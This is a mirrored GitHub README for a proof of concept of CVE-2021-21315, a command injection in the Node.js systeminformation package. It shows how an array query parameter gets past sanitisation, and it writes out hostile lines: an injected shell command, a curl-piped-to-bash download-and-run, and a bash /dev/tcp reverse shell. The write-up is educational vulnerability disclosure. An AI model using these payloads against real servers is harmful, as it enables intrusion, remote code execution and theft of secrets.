Giter Club home page Giter Club logo

cve-2021-21315-poc's Introduction

CVE-2021-21315-systeminformation

This is Proof of Concept for CVE-2021-21315 which affects The System Information Library for Node.JS (npm package "systeminformation"). npmjs.com/systeminformation

"be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected. "

Because it's not well explained vulnerability (in my opinion), i decided to code small app basing on vulnerable version of systeminformation. The PoC contains:

  1. Test app made in Node.js, using express and vulnerable systeminformation
  2. Simple testing payload to create .txt file on affected machine

Steps to reproduce:

  1. Run application on Linux server environment
  2. Make GET request to site.com/api/getServices?name=nginx (nginx is just example) obraz
  3. Now try to send request like this: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt) obraz

This will fail, because of string sanitization: obraz

As said in CVE details "sanitization works as expected, reject any arrays [...]"

  1. Now try to send request: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) obraz This time, if you take a look at "name" value, it was not sanitized - success ! Let's see if command was executed

obraz

Success! Our command got executed. Of course no one cares about "pwn.txt", but potential attacker can:

  1. Upload internal files, like index.js (core of our application, with potential api keys, database connection string and others) or other
  2. Download and execute scripts - curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
  3. Reverse shell - bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  4. Kill processes (you can kill our test node application aswell)
  5. Even more evil things....

"Command injection" sounds innocent, but it may have huge impact if certain conditions are meet

Problem was fixed in version 5.3.1 of "systeminformation" Credits to https://www.huntr.dev/users/EffectRenan (He found vulnerability, however in my opinion, his "Poc" did not show real world impact)

Also, do not heist to use this PoC in some CTF's but would be cool if you will credit author of finding - EffectRean and poc creator - me, cheers!

Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

cve-2021-21315-poc's People

Contributors

forbiddenprogrammer avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.